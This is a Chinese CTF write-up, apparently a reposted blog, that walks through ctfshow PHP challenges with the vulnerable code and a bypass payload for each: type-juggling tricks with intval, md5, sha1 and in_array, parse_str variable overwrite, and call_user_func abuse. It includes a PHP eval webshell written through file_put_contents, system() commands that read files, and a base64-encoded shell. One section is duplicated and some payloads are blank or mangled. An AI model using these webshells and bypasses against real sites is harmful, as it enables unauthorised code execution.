CTF题目中遇到的PHP考点总结(一)
介紹
本篇文章主要總結(jié)了我在寫(xiě)ctfshow題目中遇到的關(guān)于PHP的考點(diǎn)。因?yàn)橹豢偨Y(jié)知識(shí)點(diǎn)和考點(diǎn)會(huì)比較空洞,也不容易理解,所以我都是通過(guò)題目來(lái)總結(jié)考點(diǎn),這樣的話(huà)比較容易理解。
PHP函數(shù)特性相關(guān)
一、
考點(diǎn)一:intval函數(shù)傳入非空數(shù)組時(shí)會(huì)返回1 詳情可以查一下PHP手冊(cè)。【https://www.php.net/manual/zh/function.intval.php】 考點(diǎn)二:preg_match()只能處理字符串,當(dāng)傳入的是數(shù)組時(shí)將會(huì)返回false,詳情也可以查一下PHP手冊(cè)。
例題:
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;} }例題分析:
分析上面的代碼可以看出,正則匹配0-9,匹配到則返回true,直接die,但是由于preg_match()只能處理字符串,當(dāng)傳入的是數(shù)組時(shí)將會(huì)返回false,從而繞過(guò)死亡函數(shù)。由于之前沒(méi)怎么了解過(guò)intval函數(shù),所以我直接選擇查閱php手冊(cè)【https://www.php.net/manual/zh/function.intval.php】查閱后發(fā)現(xiàn) **intval()**函數(shù)用于獲取變量的整數(shù)值。**intval()**函數(shù)通過(guò)使用指定的進(jìn)制 base 轉(zhuǎn)換(默認(rèn)是十進(jìn)制),返回變量var的 integer 數(shù)值。 intval() 不能用于 object,否則會(huì)產(chǎn)生 E_NOTICE 錯(cuò)誤并返回 1。也就是說(shuō),當(dāng)給intval()函數(shù)傳入一個(gè)非空的數(shù)組時(shí),intval()函數(shù)將會(huì)返回1,結(jié)合我們preg_match()傳入數(shù)組返回false的特性,這道題的payload就很清楚了。
payload: ?num[]=1【技術(shù)文檔】
1、200多本網(wǎng)絡(luò)安全系列電子書(shū)
2、全套工具包
3、100份src源碼技術(shù)文檔
4、網(wǎng)絡(luò)安全基礎(chǔ)入門(mén)、Linux、web安全、攻防方面的視頻
5、 網(wǎng)絡(luò)安全學(xué)習(xí)路線(xiàn)
6、ctf奪旗賽解析
二、
考點(diǎn)一:PHP比較運(yùn)算符 ===在進(jìn)行比較的時(shí)候,會(huì)先判斷兩種字符串的類(lèi)型是否相等,再比較值是否相等。
考點(diǎn)二:intval(value,value,value,base)當(dāng)base為0時(shí),會(huì)檢測(cè)value的格式來(lái)決定使用的進(jìn)制。
例題:
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){ # === 在進(jìn)行比較的時(shí)候,會(huì)先判斷兩種字符串的類(lèi)型是否相等,再比較值是否相等die("no no no!");}if(intval($num,0)===4476){ echo $flag;}else{echo intval($num,0);} }例題分析:
如下圖所示,通過(guò)查詢(xún)php手冊(cè),我們發(fā)現(xiàn),intval(value,value,value,base)當(dāng)base為0時(shí),會(huì)檢測(cè)value的格式來(lái)決定使用的進(jìn)制,所以我們可以通過(guò)把4476轉(zhuǎn)換成16進(jìn)制,經(jīng)過(guò)base為0的intval函數(shù)處理,會(huì)識(shí)別16進(jìn)制的4476,從而返回flag,又因?yàn)?#61;==在進(jìn)行比較的時(shí)候,會(huì)先判斷兩種字符串的類(lèi)型是否相等,再比較值是否相等,所以由于字符串類(lèi)型不同會(huì)返回false,從而繞過(guò)死亡函數(shù)。
payload: ?num=?num=0x117c三、
考點(diǎn)一:strpos()函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置并返回
考點(diǎn)二:intval(value,value,value,base)當(dāng)base為0時(shí),會(huì)檢測(cè)value的格式來(lái)決定使用的進(jìn)制。
例題:
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){ #strpos()函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置并返回。die("no no no!");}if(intval($num,0)===4476){echo $flag;} }例題分析:
這道題目如果我們可以用八進(jìn)制的4476來(lái)繞過(guò),那么會(huì)有一個(gè)問(wèn)題,因?yàn)榘诉M(jìn)制需要開(kāi)頭指定為0,而strpos()會(huì)匹配到數(shù)字0返回0,!0也就是1從而執(zhí)行死亡函數(shù),所以我們可以在八進(jìn)制前面加一個(gè)空格,這樣strpos()會(huì)返回1,所以我們把4476轉(zhuǎn)換為8進(jìn)制10574后,前面再加一個(gè)空格即可。
payload如下:
?num= 010574四、
考點(diǎn)一:PHP比較運(yùn)算符 ===在進(jìn)行比較的時(shí)候,會(huì)先判斷兩種字符串的類(lèi)型是否相等,再比較值是否相等。
考點(diǎn)二:在PHP強(qiáng)比較中變量a、b兩個(gè)值不一樣,要求兩者md5值相同時(shí)的繞過(guò)方法。
考點(diǎn)三:PHP中md5函數(shù)處理數(shù)組類(lèi)型會(huì)返回falsefalse的特性。
例題:
if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.'; }例題分析:
這一道題涉及到了強(qiáng)比較的md5類(lèi)型,從代碼我們可以得知,要求a、b兩個(gè)值不一樣但是需要這兩個(gè)值得md5值一樣,因此強(qiáng)比較類(lèi)型,我們可以利用md5函數(shù)處理數(shù)組類(lèi)型會(huì)返回false的特性,從而利用false=false來(lái)繞過(guò)。我之前寫(xiě)過(guò)一篇總結(jié)相關(guān)知識(shí)點(diǎn)的文章鏈接如下:https://www.freebuf.com/articles/web/321300.html
payload:
a[]=1&b[]=2五、
考點(diǎn)一:in_array ()函數(shù)的作用是 檢查數(shù)組中是否存在某個(gè)值,而當(dāng)in_array()函數(shù)沒(méi)設(shè)置第三個(gè)參數(shù)時(shí)進(jìn)行的比較是弱比較。
考點(diǎn)二:file_put_contents()函數(shù)的作用是將一個(gè)字符串寫(xiě)入文件。如果寫(xiě)入的字符串和文件名可控則可能導(dǎo)致任意文件上傳漏洞。
例題:
$allow = array(); #創(chuàng)建空數(shù)組 for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i)); #在1-$i之間隨機(jī)生成一個(gè)整數(shù),添加到數(shù)組$allow尾部 } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']); }例題分析:
由于之前不怎么了解in_array()函數(shù)所以直接查了PHP手冊(cè)https://www.php.net/manual/zh/function.in-array.php,發(fā)現(xiàn)這題在使用in_array()函數(shù)時(shí)并沒(méi)有設(shè)置第三個(gè)參數(shù)為T(mén)RUE,所以此時(shí)in_array函數(shù)進(jìn)行的比較是==的弱類(lèi)型比較。也就是會(huì)先進(jìn)行強(qiáng)制轉(zhuǎn)換成相同類(lèi)型,再比較兩者的值是否相等,所以當(dāng)我們傳入1.php時(shí)會(huì)強(qiáng)制轉(zhuǎn)換成數(shù)字1,而數(shù)字1正好在 range(1,24)數(shù)組中,當(dāng)隨機(jī)生成的數(shù)字正好是1時(shí)就可以繞過(guò) in_array()函數(shù)判斷,導(dǎo)致任意文件上傳漏洞。多試幾次,直到不報(bào)錯(cuò)的那一次,說(shuō)明成功傳入一句話(huà)。之后訪(fǎng)問(wèn)1.php 再通過(guò)再通過(guò)post傳入1=system(‘ls’);即可查看目錄,再訪(fǎng)問(wèn)這個(gè)flag36d.php,即post: 1=system('cat flag36d.php');即可在網(wǎng)頁(yè)源碼中看到flag。
例題分析:
由于之前不怎么了解in_array()函數(shù)所以直接查了PHP手冊(cè)https://www.php.net/manual/zh/function.in-array.php,發(fā)現(xiàn)這題在使用in_array()函數(shù)時(shí)并沒(méi)有設(shè)置第三個(gè)參數(shù)為T(mén)RUE,所以此時(shí)in_array函數(shù)進(jìn)行的比較是==的弱類(lèi)型比較。也就是會(huì)先進(jìn)行強(qiáng)制轉(zhuǎn)換成相同類(lèi)型,再比較兩者的值是否相等,所以當(dāng)我們傳入1.php時(shí)會(huì)強(qiáng)制轉(zhuǎn)換成數(shù)字1,而數(shù)字1正好在 range(1,24)數(shù)組中,當(dāng)隨機(jī)生成的數(shù)字正好是1時(shí)就可以繞過(guò) in_array()函數(shù)判斷,導(dǎo)致任意文件上傳漏洞。多試幾次,直到不報(bào)錯(cuò)的那一次,說(shuō)明成功傳入一句話(huà)。之后訪(fǎng)問(wèn)1.php 再通過(guò)再通過(guò)post傳入1=system(‘ls’);即可查看目錄,再訪(fǎng)問(wèn)這個(gè)flag36d.php,即post: 1=system(‘cat flag36d.php’);即可在網(wǎng)頁(yè)源碼中看到flag。
payload:
?n=1.php post: content=<?php eval($_POST[1]);?> #寫(xiě)入一句話(huà)##六、
考點(diǎn)一:**is_numeric()**函數(shù)用于檢測(cè)變量是否為數(shù)字或數(shù)字字符串,如果指定的變量是數(shù)字和數(shù)字字符串則返回 TRUE,否則返回 FALSE。
考點(diǎn)二:php有運(yùn)算的優(yōu)先級(jí),而且&& > = > and
例題:
例題分析:
**is_numeric()**函數(shù)用于檢測(cè)變量是否為數(shù)字或數(shù)字字符串,如果指定的變量是數(shù)字和數(shù)字字符串則返回 TRUE,否則返回 FALSE。看到最后eval,肯定是需要命令執(zhí)行,這需要v2傳入命令,v2傳入命令,v2傳入命令,v3需要;結(jié)尾,但這么一來(lái)is_numeric一處理就變成了
$vo = $v1 and FALSE and FAlse但php有運(yùn)算的優(yōu)先級(jí),也就是&&> = > and
按照運(yùn)算優(yōu)先級(jí),先執(zhí)行=也就是賦值給$a為true,false就被忽略了,思路也就有了,payload為
得到$flag_is_1ce376300x2d8dc70x2d4b870x2d9f0e0x2d1eea5dada15;,其中0x2d需要替換成-,然而一共35位還少了一位,最后一位需要爆破獲得。
##七、
考點(diǎn)一:is_numeric() 函數(shù)用于檢測(cè)變量是否為數(shù)字或數(shù)字字符串,如果指定的變量是數(shù)字和數(shù)字字符串則返回true,否則返回false。如果字符串中含有一個(gè)e代表科學(xué)計(jì)數(shù)法,也可返回true
考點(diǎn)二:call_user_func() 函數(shù)用于調(diào)用方法或者變量,第一個(gè)參數(shù)是被調(diào)用的函數(shù),第二個(gè)是調(diào)用的函數(shù)的參數(shù)。
考點(diǎn)三:file_put_contents()函數(shù)的作用是將一個(gè)字符串寫(xiě)入文件。如果寫(xiě)入的字符串和文件名可控則可能導(dǎo)致任意文件上傳漏洞。
考點(diǎn)四:通過(guò)file_put_contents()函數(shù)配合php://協(xié)議以base64編碼的形式寫(xiě)入webshell。
例題:
例題分析:
首先,get傳參v2和v3,post傳參v1;if中需要v4為真才能往下執(zhí)行,而v4要為真就是v2傳的參數(shù)要為數(shù)字或者數(shù)字字符串,同時(shí)v2也是我們要寫(xiě)入的webshell,為了讓v2為數(shù)字或者數(shù)字字符串,我們可以先把我們的webshell轉(zhuǎn)換為base64編碼,再把base64編碼轉(zhuǎn)換為16進(jìn)制,這是一種辦法去轉(zhuǎn)換成數(shù)字。本地測(cè)試代碼如下:
#本地測(cè)試代碼 <?php $b = base64_encode('<?=`tac *`;'); $b = str_replace("=","",$b); echo "base64加密后:".$b."\n"; $a = call_user_func('bin2hex',$b); #bin2hex可以將base64編碼形式轉(zhuǎn)換成16進(jìn)制字符串形式。 echo "16進(jìn)制形式:".$a."\n"; var_dump(is_numeric($a));/*運(yùn)行結(jié)果 base64加密后:PD89YHRhYyAqYDs 16進(jìn)制形式:504438395948526859794171594473 bool(true) */ ?>說(shuō)明:<?=是php的短標(biāo)簽,是echo()的快捷用法,還有一點(diǎn),就是substr()取得是從下標(biāo)為2開(kāi)始的字符串(字符串下標(biāo)從0開(kāi)始),所以我們需要在前面加00兩位數(shù)
所以payload為
##八、
考點(diǎn):sha1()函數(shù)特性,sha1函數(shù)無(wú)法處理數(shù)組,遇到數(shù)組會(huì)返回NULL
例題:
<?php highlight_file(__FILE__); include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;} }**例題分析:**sha1函數(shù)無(wú)法處理數(shù)組,遇到數(shù)組會(huì)返回NULL,因此將兩個(gè)變量都設(shè)置成數(shù)組類(lèi)型即可獲得flag。
payload如下:?v2[]= #給這兩個(gè)值賦值與否都不影響post: v1[]=##九、
考點(diǎn)一:parse_str()函數(shù)會(huì)將傳入的第一個(gè)參數(shù)設(shè)置成變量,如果設(shè)置了第二參數(shù),則會(huì)將第一個(gè)參數(shù)的變量以數(shù)組元素的形式存入到這個(gè)數(shù)組。
例題:
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php");if(isset($_POST['v1'])){$v1 = $_POST['v1'];$v3 = $_GET['v3'];parse_str($v1,$v2);if($v2['flag']==md5($v3)){echo $flag;} }例題分析:
看完上面的代碼就應(yīng)該可以知道,這道題的關(guān)鍵就在于parse_str()函數(shù),于是直接查PHP手冊(cè)中關(guān)于parse_str()的介紹。這里附鏈接:https://www.php.net/parse_str/ 看完后我們可以發(fā)現(xiàn)該函數(shù)會(huì)將傳入的第一個(gè)參數(shù)設(shè)置成變量,如果設(shè)置了第二參數(shù),則會(huì)將第一個(gè)參數(shù)的變量以數(shù)組元素的形式存入到這個(gè)數(shù)組。分析上面的代碼我們知道v1我們可控,并且我們知道v2數(shù)組中有flag這個(gè)鍵,因此我們可以通過(guò)parse_str()函數(shù)將變量v1的變量名和變量值寫(xiě)入數(shù)組v2,那么我們就可以覆蓋掉flag這個(gè)鍵值對(duì),并且v3我們可控因此就可以繞過(guò)下面v2[′flag′]==md5(v2['flag']==md5(v2[′flag′]==md5(v3)的比較從而輸出flag。這樣思路有了,我們可以開(kāi)始構(gòu)造payload,payload如下:
?v3=1 POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b #md5解密后對(duì)應(yīng)1##十、
考點(diǎn): ereg()函數(shù)的匹配可以被%00截?cái)?/p>
例題:
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){echo $flag; }例題分析:
**ereg()**函數(shù)搜索由指定的字符串作為由模式指定的字符串,如果發(fā)現(xiàn)模式則返回true,否則返回false。搜索對(duì)于字母字符是區(qū)分大小寫(xiě)的
**strrev()**函數(shù)反轉(zhuǎn)字符串。**intval()**函數(shù)用于獲取變量的整數(shù)值。首先我們需要知道%00可以截?cái)鄀reg()函數(shù)的搜索,正則表達(dá)式只會(huì)匹配%00之前的內(nèi)容;0x36d的十進(jìn)制內(nèi)容為877,我們需要字母在前來(lái)滿(mǎn)足if條件的正則匹配來(lái)跳過(guò)if語(yǔ)句,接著再進(jìn)行字符串的反轉(zhuǎn)得到877a,接著intval()函數(shù)取整數(shù)部分得到877
所以payload為
##十一、
考點(diǎn)一:**call_user_func()**函數(shù)會(huì)執(zhí)行回調(diào)函數(shù),call_user_func()把第一個(gè)參數(shù)作為回調(diào)函數(shù),其余參數(shù)都是回調(diào)函數(shù)的參數(shù)
考點(diǎn)二:_()是一個(gè)函數(shù) _()等效于gettext() 是gettext()的拓展函數(shù)。
考點(diǎn)三:get_defined_vars()函數(shù)的作用: 返回由所有已定義變量所組成的數(shù)組。
例題:
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__);$f1 = $_GET['f1']; $f2 = $_GET['f2'];if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2))); }else{echo "嗯哼?"; } function check($str){return !preg_match('/[0-9]|[a-z]/i', $str); }例題分析:
**call_user_func()**函數(shù)把第一個(gè)參數(shù)作為回調(diào)函數(shù),其余參數(shù)都是回調(diào)函數(shù)的參數(shù)
_()是一個(gè)函數(shù) _()等效于gettext() 是gettext()的拓展函數(shù)。開(kāi)啟text擴(kuò)展,需要php擴(kuò)展目錄下有php_gettext.dll
#測(cè)試代碼: <?php echo gettext("ctfshownb"); //輸出結(jié)果:ctfshownbecho _("ctfshownb"); //輸出結(jié)果:ctfshownbget_defined_vars()函數(shù)作用: 返回由所有已定義變量所組成的數(shù)組 這樣可以獲得 $flag
整個(gè)執(zhí)行流程就是
var_dump(call_user_func(call_user_func($f1,$f2))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));//輸出數(shù)組**payload: **
?f1=_&f2=get_defined_vars##十二、
考點(diǎn): call_user_func()函數(shù)特性
例題一:
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow {function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");} } call_user_func($_POST['ctfshow']);例題分析:
直接調(diào)用ctfshow類(lèi)中的getFlag方法就好,payload為
post: ctfshow=ctfshow::getFlag**補(bǔ)充:**call_user_func()函數(shù)在PHP手冊(cè)中的介紹:
https://www.php.net/manual/zh/function.call-user-func.php例題二:
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow {function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");} } if(strripos($_POST['ctfshow'], ":")>-1){die("private function"); } call_user_func($_POST['ctfshow']);例題分析:
在前一題基礎(chǔ)上把冒號(hào)給ban了,但call_user_func()支持傳入數(shù)組形式。
call_user_func(array($ctfshow, ‘getFlag’));
這時(shí)候會(huì)調(diào)用ctfshow中的getFlag方法
所以payload為
post: ctfshow[0]=ctfshow&ctfshow[1]=getFlag總結(jié)
以上是生活随笔為你收集整理的CTF题目中遇到的PHP考点总结(一)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【网络安全】什么是应急响应,应急响应中你
- 下一篇: CTF中PHP相关题目考点总结(二)